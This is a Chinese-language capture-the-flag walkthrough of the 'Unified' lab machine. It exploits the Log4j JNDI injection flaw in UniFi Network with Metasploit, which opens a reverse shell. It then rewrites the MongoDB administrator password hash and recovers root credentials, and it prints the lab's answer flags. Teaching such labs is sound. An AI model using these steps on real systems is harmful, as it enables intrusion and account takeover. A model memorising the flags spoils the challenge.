[StartingPoint][Tier2]Unified
字数 1349 2025-08-19 12:42:34
UniFi网络设备漏洞利用与分析教学文档
1. 目标识别与端口扫描
首先使用Nmap对目标进行扫描,识别开放的端口和服务:
nmap -sC -sV -v 10.129.104.207
扫描结果显示以下四个开放端口:
- 22: SSH服务
- 6789: 未知服务
- 8080: HTTP服务
- 8443: HTTPS服务(运行UniFi Network软件)
2. UniFi Network软件识别
访问8443端口发现运行的是UniFi Network软件,通过8080端口可以获取版本信息:
- 软件名称:UniFi Network
- 版本号:6.4.54
3. 漏洞识别
该版本存在已知漏洞:
- CVE编号:CVE-2021-44228(Log4j远程代码执行漏洞)
- 漏洞类型:JNDI注入
4. JNDI注入攻击原理
JNDI(Java Naming and Directory Interface)注入利用:
- 利用协议:LDAP(轻量级目录访问协议)
- 默认端口:389
- 工作原理:通过调用JNDI API,应用程序可以定位资源和其他程序对象,攻击者可以构造恶意LDAP查询实现远程代码执行
5. 攻击实施与流量监控
攻击工具准备
- 使用tcpdump监控LDAP流量:
tcpdump -i tun0 port 389
- 使用Metasploit框架构建攻击载荷:
msfconsole
search log4j
use 2
set rhosts 10.129.231.63
set srvhost tun0
set lhost tun0
check
run
会话提升
Ctrl+Z
search shell_to
use 0
sessions -l
set session 1
run
sessions -i 2
meterpreter> shell
6. MongoDB服务分析
服务识别
ps aux|grep mongo
发现MongoDB运行在27117端口
UniFi默认数据库
- 默认数据库名称:ace
MongoDB用户操作
- 枚举用户:
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
- 更新用户密码(使用SHA-512哈希):
mkpasswd -m sha-512 s-h4ck13
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$i2Bx4z4kMsLW5K2Y$2chqfNY/6YEqDvBjk4GEJKsZlh39tfdr73boSEI2RKzhLkfP.g.YRIvY2OQr1RESU3D2eIl/5A3cmZy5L2cKp/"}})'
7. 权限提升与凭证获取
UniFi管理员凭据
- 用户名:administrator
- 密码:s-h4ck13
SSH root凭据
在UniFi管理界面Settings->Site选项卡下找到:
- 用户名:root
- 密码:NotACrackablePassword4U2022
8. 标志获取
用户标志
find / -name user.txt
cat /home/michael/user.txt
用户标志:6ced1a6a89e666c0620cdb10262ba127
root标志
root标志:e50bc93c75b634e4b272d2f771c33681
关键命令总结
| 功能 | 命令 |
|---|---|
| 端口扫描 | nmap -sC -sV -v <IP> |
| LDAP流量监控 | tcpdump -i tun0 port 389 |
| MongoDB用户枚举 | mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);" |
| MongoDB用户更新 | mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"<hash>"}})' |
| 密码哈希生成 | mkpasswd -m sha-512 <password> |
安全建议
- 及时更新UniFi Network软件到最新版本
- 禁用不必要的JNDI查找功能
- 限制MongoDB的远程访问
- 使用强密码策略,避免使用默认凭证
- 实施网络分段,限制对管理界面的访问